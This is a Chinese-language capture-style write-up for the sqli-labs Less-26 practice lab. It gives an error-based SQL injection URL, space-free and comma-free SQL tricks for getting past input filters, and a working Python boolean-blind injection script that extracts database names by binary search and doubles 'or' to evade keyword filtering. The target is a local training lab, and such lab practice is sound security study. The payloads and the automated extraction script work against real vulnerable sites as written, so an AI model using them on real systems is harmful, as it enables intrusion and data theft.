[sqli-labs]Less-26(报错注入 , Bool盲注 , 利用SQL语法绕过空格过滤)

利用报错注入证明可以dump数据

http://127.0.0.1/Less-26/?id=0%27||(updatexml(1,concat(0x5e,version(),0x5e),1))||%27%27=%27dsa

重新利用明注脚本批量跑
这个好叼

select(mid(user()from(4)for(1)))

没有空格 , 没有逗号

select(schema_name)from(information_schema.schemata)

这样也没有空格
然后结合一下

select(mid((concat((select(group_concat(username))from(users))))from(7)for(1)));

只需要修改中间的select和from后面的偏移就可以dump数据

select(ascii(mid((concat((select(group_concat(username))from(users))))from(7)for(1)))>255);

这样就可以盲注

select(ascii(mid((concat((select(group_concat(schema_name))from(information_schema.schemata))))from(7)for(1)))<255);

测试一下 :

#!/usr/bin/env python
# encoding:utf8

import requests
import time
import sys

# config-start
sleep_time = 5
error_time = 1
# config-end

def getPayload(indexOfChar, mid):
    column_name="schema_name"
    table_name="schemata"
    database_name="information_schema"
    startStr = "0'||("
    endStr = ")||'1'='"
    payload = "select(ascii(mid((concat((select(group_concat(" + column_name + "))from(" + database_name + "." + table_name + "))))from(" + indexOfChar + ")for(1)))>" + mid + ")"
    payload = startStr + payload + endStr
    # 绕过对or的过滤
    payload = payload.replace("or","oorr")
    return payload

def exce(indexOfChar,mid):
    # content-start
    url = "http://127.0.0.1/Less-26/?id="
    tempurl = url + getPayload(indexOfChar,mid)
    content = requests.get(tempurl).text
    # content-end
    # judge-start
    if "Your Login name:" in content:
        return True
    else:
        return False
    # judge-end

def doubleSearch(indexOfChar,left_number, right_number):
    while left_number < right_number:
        mid = int((left_number + right_number) / 2)
        if exce(str(indexOfChar + 1),str(mid)):
            left_number = mid
        else:
            right_number = mid
        if left_number == right_number - 1:
            if exce(str(indexOfChar + 1),str(mid)):
                mid += 1
                break
            else:
                break
    return chr(mid)

def search():
    for j in range(1024): # 结果的长度
        temp = doubleSearch(j, 0, 128) # 从255开始查询
        if ord(temp) == 1: # 当为1的时候说明已经查询结束
            break
        if temp == ",":
            print ""
        else:
            sys.stdout.write(temp)
            sys.stdout.flush()
    print ""

search()